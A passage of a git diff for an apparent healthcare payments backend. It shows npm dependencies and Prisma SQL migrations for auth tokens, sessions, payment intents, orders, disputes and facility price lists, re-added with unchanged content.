"@stellar/stellar-sdk": "^16.0.1", + "bcryptjs": "^3.0.3", + "cookie-parser": "^1.4.7", + "cors": "^2.8.6", + "dotenv": "^17.4.2", + "express": "^5.2.1", + "intl-messageformat": "^10.7.18", + "jsonwebtoken": "^9.0.3", + "pg": "^8.23.1", + "pino": "^9.13.0", + "zod": "^4.6.5" + }, + "devDependencies": { + "@types/bcryptjs": "^2.4.6", + "@types/cookie-parser": "^1.4.10", + "@types/cors": "^2.8.19", + "@types/express": "^5.0.6", + "@types/jsonwebtoken": "^9.0.10", + "@types/node": "^26.5.1", + "@types/supertest": "^7.2.1", + "embedded-postgres": "^18.4.0-beta.17", + "fast-check": "^3.23.2", + "prisma": "^7.10.1", + "supertest": "^7.2.2", + "tsx": "^4.23.13", + "typescript": "^7.0.2", + "vitest": "^4.1.11" + } +} diff --git a/backend/prisma/migrations/20261015175723_add_password_reset_tokens/migration.sql b/backend/prisma/migrations/20261015175723_add_password_reset_tokens/migration.sql index 094bc27a..a0cbd651 100644 --- a/backend/prisma/migrations/20261015175723_add_password_reset_tokens/migration.sql +++ b/backend/prisma/migrations/20261015175723_add_password_reset_tokens/migration.sql @@ -1,23 +1,23 @@ --- AlterTable -ALTER TABLE "User" ADD COLUMN "tokenVersion" INTEGER NOT NULL DEFAULT 0; - --- CreateTable -CREATE TABLE "PasswordResetToken" ( - "id" TEXT NOT NULL, - "userId" TEXT NOT NULL, - "tokenHash" TEXT NOT NULL, - "expiresAt" TIMESTAMP(3) NOT NULL, - "usedAt" TIMESTAMP(3), - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "PasswordResetToken_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE UNIQUE INDEX "PasswordResetToken_tokenHash_key" ON "PasswordResetToken"("tokenHash"); - --- CreateIndex -CREATE INDEX "PasswordResetToken_userId_idx" ON "PasswordResetToken"("userId"); - --- AddForeignKey -ALTER TABLE "PasswordResetToken" ADD CONSTRAINT "PasswordResetToken_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; +-- AlterTable +ALTER TABLE "User" ADD COLUMN "tokenVersion" INTEGER NOT NULL DEFAULT 0; + +-- CreateTable +CREATE TABLE "PasswordResetToken" ( + "id" TEXT NOT NULL, + "userId" TEXT NOT NULL, + "tokenHash" TEXT NOT NULL, + "expiresAt" TIMESTAMP(3) NOT NULL, + "usedAt" TIMESTAMP(3), + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "PasswordResetToken_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE UNIQUE INDEX "PasswordResetToken_tokenHash_key" ON "PasswordResetToken"("tokenHash"); + +-- CreateIndex +CREATE INDEX "PasswordResetToken_userId_idx" ON "PasswordResetToken"("userId"); + +-- AddForeignKey +ALTER TABLE "PasswordResetToken" ADD CONSTRAINT "PasswordResetToken_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; diff --git a/backend/prisma/migrations/20261015182442_add_refresh_sessions/migration.sql b/backend/prisma/migrations/20261015182442_add_refresh_sessions/migration.sql index e037fc45..70f7c542 100644 --- a/backend/prisma/migrations/20261015182442_add_refresh_sessions/migration.sql +++ b/backend/prisma/migrations/20261015182442_add_refresh_sessions/migration.sql @@ -1,21 +1,21 @@ --- CreateTable -CREATE TABLE "RefreshSession" ( - "id" TEXT NOT NULL, - "userId" TEXT NOT NULL, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "lastUsedAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "revokedAt" TIMESTAMP(3), - "userAgent" TEXT, - "ip" TEXT, - - CONSTRAINT "RefreshSession_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE INDEX "RefreshSession_userId_idx" ON "RefreshSession"("userId"); - --- CreateIndex -CREATE INDEX "RefreshSession_userId_revokedAt_idx" ON "RefreshSession"("userId", "revokedAt"); - --- AddForeignKey -ALTER TABLE "RefreshSession" ADD CONSTRAINT "RefreshSession_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; +-- CreateTable +CREATE TABLE "RefreshSession" ( + "id" TEXT NOT NULL, + "userId" TEXT NOT NULL, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "lastUsedAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "revokedAt" TIMESTAMP(3), + "userAgent" TEXT, + "ip" TEXT, + + CONSTRAINT "RefreshSession_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE INDEX "RefreshSession_userId_idx" ON "RefreshSession"("userId"); + +-- CreateIndex +CREATE INDEX "RefreshSession_userId_revokedAt_idx" ON "RefreshSession"("userId", "revokedAt"); + +-- AddForeignKey +ALTER TABLE "RefreshSession" ADD CONSTRAINT "RefreshSession_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; diff --git a/backend/prisma/migrations/20261016130509_add_sep10_challenges/migration.sql b/backend/prisma/migrations/20261016130509_add_sep10_challenges/migration.sql index b222c397..06974b7d 100644 --- a/backend/prisma/migrations/20261016130509_add_sep10_challenges/migration.sql +++ b/backend/prisma/migrations/20261016130509_add_sep10_challenges/migration.sql @@ -1,22 +1,22 @@ --- CreateTable -CREATE TABLE "Sep10Challenge" ( - "id" TEXT NOT NULL, - "userId" TEXT NOT NULL, - "account" TEXT NOT NULL, - "nonce" TEXT NOT NULL, - "expiresAt" TIMESTAMP(3) NOT NULL, - "consumedAt" TIMESTAMP(3), - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "Sep10Challenge_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE UNIQUE INDEX "Sep10Challenge_nonce_key" ON "Sep10Challenge"("nonce"); - --- CreateIndex -CREATE INDEX "Sep10Challenge_expiresAt_idx" ON "Sep10Challenge"("expiresAt"); - --- AddForeignKey -ALTER TABLE "Sep10Challenge" ADD CONSTRAINT "Sep10Challenge_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; - +-- CreateTable +CREATE TABLE "Sep10Challenge" ( + "id" TEXT NOT NULL, + "userId" TEXT NOT NULL, + "account" TEXT NOT NULL, + "nonce" TEXT NOT NULL, + "expiresAt" TIMESTAMP(3) NOT NULL, + "consumedAt" TIMESTAMP(3), + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "Sep10Challenge_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE UNIQUE INDEX "Sep10Challenge_nonce_key" ON "Sep10Challenge"("nonce"); + +-- CreateIndex +CREATE INDEX "Sep10Challenge_expiresAt_idx" ON "Sep10Challenge"("expiresAt"); + +-- AddForeignKey +ALTER TABLE "Sep10Challenge" ADD CONSTRAINT "Sep10Challenge_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE CASCADE ON UPDATE CASCADE; + diff --git a/backend/prisma/migrations/20261019100000_payment_assets_and_prepare/migration.sql b/backend/prisma/migrations/20261019100000_payment_assets_and_prepare/migration.sql index f6cd3f70..6494c743 100644 --- a/backend/prisma/migrations/20261019100000_payment_assets_and_prepare/migration.sql +++ b/backend/prisma/migrations/20261019100000_payment_assets_and_prepare/migration.sql @@ -1,42 +1,42 @@ --- Issue #79: PaymentIntent is denominated in an allowlisted asset, not --- implicitly native XLM. The amount column is renamed, not recreated, so --- every existing row keeps its exact smallest-unit value (no data copy, no --- precision loss). `assetCode` is backfilled to 'XLM' because that is the --- only asset v1 could have created; `tokenContractId` stays NULL for those --- rows and the service resolves it from ESCROW_TOKEN_ID (see schema comment). -ALTER TABLE "PaymentIntent" RENAME COLUMN "amountStroops" TO "amount"; -ALTER TABLE "PaymentIntent" ADD COLUMN "assetCode" TEXT NOT NULL DEFAULT 'XLM'; -ALTER TABLE "PaymentIntent" ADD COLUMN "tokenContractId" TEXT; -ALTER TABLE "PaymentIntent" ALTER COLUMN "assetCode" DROP DEFAULT; - --- Issue #80: prepare/expire state machine. `awaiting_signature` and --- `submitting` are added to the status enum (submitting is reserved for the --- submit half of ADR 0005 and not written yet). -ALTER TYPE "PaymentIntentStatus" ADD VALUE 'awaiting_signature'; -ALTER TYPE "PaymentIntentStatus" ADD VALUE 'submitting'; - -ALTER TABLE "PaymentIntent" ADD COLUMN "preparedTxHash" TEXT; -ALTER TABLE "PaymentIntent" ADD COLUMN "preparedXdr" TEXT; -ALTER TABLE "PaymentIntent" ADD COLUMN "preparedExpiryLedger" INTEGER; -ALTER TABLE "PaymentIntent" ADD COLUMN "preparedExpiresAt" TIMESTAMP(3); -ALTER TABLE "PaymentIntent" ADD COLUMN "refundAfter" TIMESTAMP(3); - --- Expiry sweep: find live prepared transactions whose window has passed. -CREATE INDEX "PaymentIntent_status_preparedExpiresAt_idx" ON "PaymentIntent"("status", "preparedExpiresAt"); - --- ADR 0005 step 1: patient payer wallet link (SEP-10 verified once that --- flow exists). Separate from WalletLink, which stays the facility payee. -CREATE TABLE "PatientWalletLink" ( - "id" TEXT NOT NULL, - "patientProfileId" TEXT NOT NULL, - "stellarPublicKey" TEXT NOT NULL, - "verifiedAt" TIMESTAMP(3) NOT NULL, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updatedAt" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "PatientWalletLink_pkey" PRIMARY KEY ("id") -); - -CREATE UNIQUE INDEX "PatientWalletLink_patientProfileId_key" ON "PatientWalletLink"("patientProfileId"); - -ALTER TABLE "PatientWalletLink" ADD CONSTRAINT "PatientWalletLink_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE CASCADE ON UPDATE CASCADE; +-- Issue #79: PaymentIntent is denominated in an allowlisted asset, not +-- implicitly native XLM. The amount column is renamed, not recreated, so +-- every existing row keeps its exact smallest-unit value (no data copy, no +-- precision loss). `assetCode` is backfilled to 'XLM' because that is the +-- only asset v1 could have created; `tokenContractId` stays NULL for those +-- rows and the service resolves it from ESCROW_TOKEN_ID (see schema comment). +ALTER TABLE "PaymentIntent" RENAME COLUMN "amountStroops" TO "amount"; +ALTER TABLE "PaymentIntent" ADD COLUMN "assetCode" TEXT NOT NULL DEFAULT 'XLM'; +ALTER TABLE "PaymentIntent" ADD COLUMN "tokenContractId" TEXT; +ALTER TABLE "PaymentIntent" ALTER COLUMN "assetCode" DROP DEFAULT; + +-- Issue #80: prepare/expire state machine. `awaiting_signature` and +-- `submitting` are added to the status enum (submitting is reserved for the +-- submit half of ADR 0005 and not written yet). +ALTER TYPE "PaymentIntentStatus" ADD VALUE 'awaiting_signature'; +ALTER TYPE "PaymentIntentStatus" ADD VALUE 'submitting'; + +ALTER TABLE "PaymentIntent" ADD COLUMN "preparedTxHash" TEXT; +ALTER TABLE "PaymentIntent" ADD COLUMN "preparedXdr" TEXT; +ALTER TABLE "PaymentIntent" ADD COLUMN "preparedExpiryLedger" INTEGER; +ALTER TABLE "PaymentIntent" ADD COLUMN "preparedExpiresAt" TIMESTAMP(3); +ALTER TABLE "PaymentIntent" ADD COLUMN "refundAfter" TIMESTAMP(3); + +-- Expiry sweep: find live prepared transactions whose window has passed. +CREATE INDEX "PaymentIntent_status_preparedExpiresAt_idx" ON "PaymentIntent"("status", "preparedExpiresAt"); + +-- ADR 0005 step 1: patient payer wallet link (SEP-10 verified once that +-- flow exists). Separate from WalletLink, which stays the facility payee. +CREATE TABLE "PatientWalletLink" ( + "id" TEXT NOT NULL, + "patientProfileId" TEXT NOT NULL, + "stellarPublicKey" TEXT NOT NULL, + "verifiedAt" TIMESTAMP(3) NOT NULL, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "PatientWalletLink_pkey" PRIMARY KEY ("id") +); + +CREATE UNIQUE INDEX "PatientWalletLink_patientProfileId_key" ON "PatientWalletLink"("patientProfileId"); + +ALTER TABLE "PatientWalletLink" ADD CONSTRAINT "PatientWalletLink_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE CASCADE ON UPDATE CASCADE; diff --git a/backend/prisma/migrations/20261020103435_add_fulfillment_proof_and_disputes/migration.sql b/backend/prisma/migrations/20261020103435_add_fulfillment_proof_and_disputes/migration.sql index da812943..4046fde9 100644 --- a/backend/prisma/migrations/20261020103435_add_fulfillment_proof_and_disputes/migration.sql +++ b/backend/prisma/migrations/20261020103435_add_fulfillment_proof_and_disputes/migration.sql @@ -1,118 +1,118 @@ --- CreateEnum -CREATE TYPE "OrderType" AS ENUM ('pharmacy', 'lab'); - --- CreateEnum -CREATE TYPE "DisputeStatus" AS ENUM ('pending', 'resolved'); - --- CreateTable -CREATE TABLE "Order" ( - "id" TEXT NOT NULL, - "orderType" "OrderType" NOT NULL, - "patientProfileId" TEXT NOT NULL, - "facilityProfileId" TEXT, - "prescribingDoctorId" TEXT, - "details" TEXT, - "status" "OrderStatus" NOT NULL DEFAULT 'issued', - "fulfilledAt" TIMESTAMP(3), - "confirmed" BOOLEAN NOT NULL DEFAULT false, - "confirmationSource" TEXT, - "confirmedAt" TIMESTAMP(3), - "disputed" BOOLEAN NOT NULL DEFAULT false, - "disputedAt" TIMESTAMP(3), - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updatedAt" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "Order_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "FulfillmentProof" ( - "id" TEXT NOT NULL, - "orderId" TEXT NOT NULL, - "facilityProfileId" TEXT NOT NULL, - "referenceNumber" TEXT NOT NULL, - "attachmentUrl" TEXT, - "notes" TEXT, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "FulfillmentProof_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "OrderDispute" ( - "id" TEXT NOT NULL, - "orderId" TEXT NOT NULL, - "patientProfileId" TEXT NOT NULL, - "reason" TEXT NOT NULL, - "status" "DisputeStatus" NOT NULL DEFAULT 'pending', - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updatedAt" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "OrderDispute_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "OrderDisputeResolution" ( - "id" TEXT NOT NULL, - "disputeId" TEXT NOT NULL, - "adminUserId" TEXT NOT NULL, - "resolutionNotes" TEXT NOT NULL, - "outcome" TEXT NOT NULL, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "OrderDisputeResolution_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE INDEX "Order_patientProfileId_status_idx" ON "Order"("patientProfileId", "status"); - --- CreateIndex -CREATE INDEX "Order_facilityProfileId_status_idx" ON "Order"("facilityProfileId", "status"); - --- CreateIndex -CREATE INDEX "Order_status_confirmed_disputed_idx" ON "Order"("status", "confirmed", "disputed"); - --- CreateIndex -CREATE INDEX "FulfillmentProof_orderId_idx" ON "FulfillmentProof"("orderId"); - --- CreateIndex -CREATE INDEX "FulfillmentProof_facilityProfileId_idx" ON "FulfillmentProof"("facilityProfileId"); - --- CreateIndex -CREATE INDEX "OrderDispute_orderId_idx" ON "OrderDispute"("orderId"); - --- CreateIndex -CREATE INDEX "OrderDispute_patientProfileId_idx" ON "OrderDispute"("patientProfileId"); - --- CreateIndex -CREATE INDEX "OrderDispute_status_idx" ON "OrderDispute"("status"); - --- CreateIndex -CREATE INDEX "OrderDisputeResolution_disputeId_idx" ON "OrderDisputeResolution"("disputeId"); - --- CreateIndex -CREATE INDEX "OrderDisputeResolution_adminUserId_idx" ON "OrderDisputeResolution"("adminUserId"); - --- AddForeignKey -ALTER TABLE "Order" ADD CONSTRAINT "Order_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "Order" ADD CONSTRAINT "Order_facilityProfileId_fkey" FOREIGN KEY ("facilityProfileId") REFERENCES "FacilityProfile"("id") ON DELETE SET NULL ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "FulfillmentProof" ADD CONSTRAINT "FulfillmentProof_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "Order"("id") ON DELETE CASCADE ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "FulfillmentProof" ADD CONSTRAINT "FulfillmentProof_facilityProfileId_fkey" FOREIGN KEY ("facilityProfileId") REFERENCES "FacilityProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "OrderDispute" ADD CONSTRAINT "OrderDispute_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "Order"("id") ON DELETE CASCADE ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "OrderDispute" ADD CONSTRAINT "OrderDispute_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "OrderDisputeResolution" ADD CONSTRAINT "OrderDisputeResolution_disputeId_fkey" FOREIGN KEY ("disputeId") REFERENCES "OrderDispute"("id") ON DELETE CASCADE ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "OrderDisputeResolution" ADD CONSTRAINT "OrderDisputeResolution_adminUserId_fkey" FOREIGN KEY ("adminUserId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; +-- CreateEnum +CREATE TYPE "OrderType" AS ENUM ('pharmacy', 'lab'); + +-- CreateEnum +CREATE TYPE "DisputeStatus" AS ENUM ('pending', 'resolved'); + +-- CreateTable +CREATE TABLE "Order" ( + "id" TEXT NOT NULL, + "orderType" "OrderType" NOT NULL, + "patientProfileId" TEXT NOT NULL, + "facilityProfileId" TEXT, + "prescribingDoctorId" TEXT, + "details" TEXT, + "status" "OrderStatus" NOT NULL DEFAULT 'issued', + "fulfilledAt" TIMESTAMP(3), + "confirmed" BOOLEAN NOT NULL DEFAULT false, + "confirmationSource" TEXT, + "confirmedAt" TIMESTAMP(3), + "disputed" BOOLEAN NOT NULL DEFAULT false, + "disputedAt" TIMESTAMP(3), + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "Order_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "FulfillmentProof" ( + "id" TEXT NOT NULL, + "orderId" TEXT NOT NULL, + "facilityProfileId" TEXT NOT NULL, + "referenceNumber" TEXT NOT NULL, + "attachmentUrl" TEXT, + "notes" TEXT, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "FulfillmentProof_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "OrderDispute" ( + "id" TEXT NOT NULL, + "orderId" TEXT NOT NULL, + "patientProfileId" TEXT NOT NULL, + "reason" TEXT NOT NULL, + "status" "DisputeStatus" NOT NULL DEFAULT 'pending', + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "OrderDispute_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "OrderDisputeResolution" ( + "id" TEXT NOT NULL, + "disputeId" TEXT NOT NULL, + "adminUserId" TEXT NOT NULL, + "resolutionNotes" TEXT NOT NULL, + "outcome" TEXT NOT NULL, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "OrderDisputeResolution_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE INDEX "Order_patientProfileId_status_idx" ON "Order"("patientProfileId", "status"); + +-- CreateIndex +CREATE INDEX "Order_facilityProfileId_status_idx" ON "Order"("facilityProfileId", "status"); + +-- CreateIndex +CREATE INDEX "Order_status_confirmed_disputed_idx" ON "Order"("status", "confirmed", "disputed"); + +-- CreateIndex +CREATE INDEX "FulfillmentProof_orderId_idx" ON "FulfillmentProof"("orderId"); + +-- CreateIndex +CREATE INDEX "FulfillmentProof_facilityProfileId_idx" ON "FulfillmentProof"("facilityProfileId"); + +-- CreateIndex +CREATE INDEX "OrderDispute_orderId_idx" ON "OrderDispute"("orderId"); + +-- CreateIndex +CREATE INDEX "OrderDispute_patientProfileId_idx" ON "OrderDispute"("patientProfileId"); + +-- CreateIndex +CREATE INDEX "OrderDispute_status_idx" ON "OrderDispute"("status"); + +-- CreateIndex +CREATE INDEX "OrderDisputeResolution_disputeId_idx" ON "OrderDisputeResolution"("disputeId"); + +-- CreateIndex +CREATE INDEX "OrderDisputeResolution_adminUserId_idx" ON "OrderDisputeResolution"("adminUserId"); + +-- AddForeignKey +ALTER TABLE "Order" ADD CONSTRAINT "Order_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "Order" ADD CONSTRAINT "Order_facilityProfileId_fkey" FOREIGN KEY ("facilityProfileId") REFERENCES "FacilityProfile"("id") ON DELETE SET NULL ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "FulfillmentProof" ADD CONSTRAINT "FulfillmentProof_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "Order"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "FulfillmentProof" ADD CONSTRAINT "FulfillmentProof_facilityProfileId_fkey" FOREIGN KEY ("facilityProfileId") REFERENCES "FacilityProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "OrderDispute" ADD CONSTRAINT "OrderDispute_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "Order"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "OrderDispute" ADD CONSTRAINT "OrderDispute_patientProfileId_fkey" FOREIGN KEY ("patientProfileId") REFERENCES "PatientProfile"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "OrderDisputeResolution" ADD CONSTRAINT "OrderDisputeResolution_disputeId_fkey" FOREIGN KEY ("disputeId") REFERENCES "OrderDispute"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "OrderDisputeResolution" ADD CONSTRAINT "OrderDisputeResolution_adminUserId_fkey" FOREIGN KEY ("adminUserId") REFERENCES "User"("id") ON DELETE RESTRICT ON UPDATE CASCADE; diff --git a/backend/prisma/migrations/20261020150000_add_facility_prices/migration.sql b/backend/prisma/migrations/20261020150000_add_facility_prices/migration.sql index 1a5c313b..2805310e 100644 --- a/backend/prisma/migrations/20261020150000_add_facility_prices/migration.sql +++ b/backend/prisma/migrations/20261020150000_add_facility_prices/migration.sql @@ -1,35 +1,35 @@ --- Issue #127: facility price lists used to price PaymentIntents. --- --- Versioned (append-only) prices: a price change is a new row with a later --- "effectiveFrom", so historical intents keep their original amount and the --- list stays auditable. Amounts are stroops (BIGINT), matching PaymentIntent. - -CREATE TABLE "FacilityPrice" ( - "id" TEXT NOT NULL, - "facilityId" TEXT NOT NULL, - "catalogItemCode" TEXT NOT NULL, - "asset" TEXT NOT NULL, - "amount" BIGINT NOT NULL, - "effectiveFrom" TIMESTAMP(3) NOT NULL, - "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "FacilityPrice_pkey" PRIMARY KEY ("id") -); - --- Two versions of the same item/asset cannot share an effective instant. -CREATE UNIQUE INDEX "FacilityPrice_facilityId_catalogItemCode_asset_effectiveFrom_key" - ON "FacilityPrice"("facilityId", "catalogItemCode", "asset", "effectiveFrom"); - --- Current-price lookup for one facility. -CREATE INDEX "FacilityPrice_facilityId_catalogItemCode_asset_effectiveFrom_idx" - ON "FacilityPrice"("facilityId", "catalogItemCode", "asset", "effectiveFrom"); - --- Eligible-facility lookup: current price per facility for a catalog item. -CREATE INDEX "FacilityPrice_catalogItemCode_asset_effectiveFrom_idx" - ON "FacilityPrice"("catalogItemCode", "asset", "effectiveFrom"); - -ALTER TABLE "FacilityPrice" ADD CONSTRAINT "FacilityPrice_facilityId_fkey" - FOREIGN KEY ("facilityId") REFERENCES "FacilityProfile"("id") ON DELETE CASCADE ON UPDATE CASCADE; - --- Which price list entry priced an intent (the amount is the snapshot). -ALTER TABLE "PaymentIntent" ADD COLUMN "catalogItemCode" TEXT; +-- Issue #127: facility price lists used to price PaymentIntents. +-- +-- Versioned (append-only) prices: a price change is a new row with a later +-- "effectiveFrom", so historical intents keep their original amount and the +-- list stays auditable. Amounts are stroops (BIGINT), matching PaymentIntent. + +CREATE TABLE "FacilityPrice" ( + "id" TEXT NOT NULL, + "facilityId" TEXT NOT NULL, + "catalogItemCode" TEXT NOT NULL, + "asset" TEXT NOT NULL, + "amount" BIGINT NOT NULL, + "effectiveFrom" TIMESTAMP(3) NOT NULL, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "FacilityPrice_pkey" PRIMARY KEY ("id") +); + +-- Two versions of the same item/asset cannot share an effective instant. +CREATE UNIQUE INDEX "FacilityPrice_facilityId_catalogItemCode_asset_effectiveFrom_key" + ON "FacilityPrice"("facilityId", "catalogItemCode", "asset", "effectiveFrom"); + +-- Current-price lookup for one facility. +CREATE INDEX "FacilityPrice_facilityId_catalogItemCode_asset_effectiveFrom_idx" + ON "FacilityPrice"("facilityId", "catalogItemCode", "asset", "effectiveFrom"); + +-- Eligible-facility lookup: current price per facility for a catalog item. +CREATE INDEX "FacilityPrice_catalogItemCode_asset_effectiveFrom_idx" + ON "FacilityPrice"("catalogItemCode", "asset", "effectiveFrom"); + +ALTER TABLE "FacilityPrice" ADD CONSTRAINT "FacilityPrice_facilityId_fkey" + FOREIGN KEY ("facilityId") REFERENCES "FacilityProfile"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- Which price list entry priced an intent (the amount is the snapshot). +ALTER TABLE "PaymentIntent" ADD COLUMN "catalogItemCode" TEXT; diff --git a/backend/prisma/migrations/20261021090000_doctor_discovery_trigram_search/migration.sql b/backend/prisma/migrations/20261021090000_doctor_discovery_trigram_search/migration.sql index 0b1bcfcf..83c03319 100644 --- a/backend/prisma/migrations/20261021090000_doctor_discovery_trigram_search/migration.sql +++ b/backend/prisma/migrations/20261021090000_doctor_discovery_trigram_search/migration.sql @@ -1,13 +1,13 @@ -CREATE EXTENSION IF NOT EXISTS pg_trgm; - -CREATE INDEX "DoctorProfile_fullName_trgm_idx" - ON "DoctorProfile" USING GIN ("fullName" gin_trgm_ops); - -CREATE INDEX "Specialty_name_trgm_idx" - ON "Specialty" USING GIN ("name" gin_trgm_ops); - -INSERT INTO "Specialty" ("id", "name", "slug") VALUES - ('00000000-0000-4000-8000-000000000023', 'Cardiology', 'cardiology'), - ('00000000-0000-4000-8000-000000000024', 'Dermatology', 'dermatology'), - ('00000000-0000-4000-8000-000000000025', 'Family Medicine', 'family-medicine') -ON CONFLICT DO NOTHING; +CREATE EXTENSION IF NOT EXISTS pg_trgm; + +CREATE INDEX "DoctorProfile_fullName_trgm_idx" + ON "DoctorProfile" USING GIN ("fullName" gin_trgm_ops); + +CREATE INDEX "Specialty_name_trgm_idx" + ON "Specialty" USING GIN ("name" gin_trgm_ops); + +INSERT INTO "Specialty" ("id", "name", "slug") VALUES + ('00000000-0000-4000-8000-000000000023', 'Cardiology', 'cardiology'), + ('00000000-0000-4000-8000-000000000024', 'Dermatology', 'dermatology'), + ('00000000-0000-4000-8000-000000000025', 'Family Medicine', 'family-medicine') +ON CONFLICT DO NOTHING; diff --git a/backend/prisma/migrations/20261021100000_user_locale/migration.sql b/backend/prisma/migrations/20261021100000_user_locale/migration.sql index 4f69d63d..3bfeac95 100644 --- a/backend/prisma/migrations/20261021100000_user_locale/migration.sql +++ b/backend/prisma/migrations/20261021100000_user_locale/migration.sql @@ -1 +1 @@ -ALTER TABLE "User" ADD COLUMN "locale" TEXT NOT NULL DEFAULT 'en'; +ALTER TABLE "User" ADD COLUMN "locale" TEXT NOT NULL DEFAULT 'en'; diff --git a/backend/prisma/migrations/20261021120000_account_deletion_retention/migration.sql b/backend/prisma/migrations/20261021120000_account_deletion_retention/migration.sql index 9817bfb1..29a2c3ef 100644 --- a/backend/prisma/migrations/20261021120000_account_deletion_retention/migration.sql +++ b/backend/prisma/migrations/20261021120000_account_deletion_retention/migration.sql @@ -1,12 +1,12 @@ --- DropForeignKey -ALTER TABLE "PatientProfile" DROP CONSTRAINT "PatientProfile_userId_fkey"; - --- AlterTable -ALTER TABLE "PatientProfile" ADD COLUMN "anonymizedAt" TIMESTAMP(3); - --- AlterTable -ALTER TABLE "User" ADD COLUMN "deletedAt" TIMESTAMP(3); - --- AddForeignKey -ALTER TABLE "PatientProfile" ADD CONSTRAINT "PatientProfile_userId_fkey" 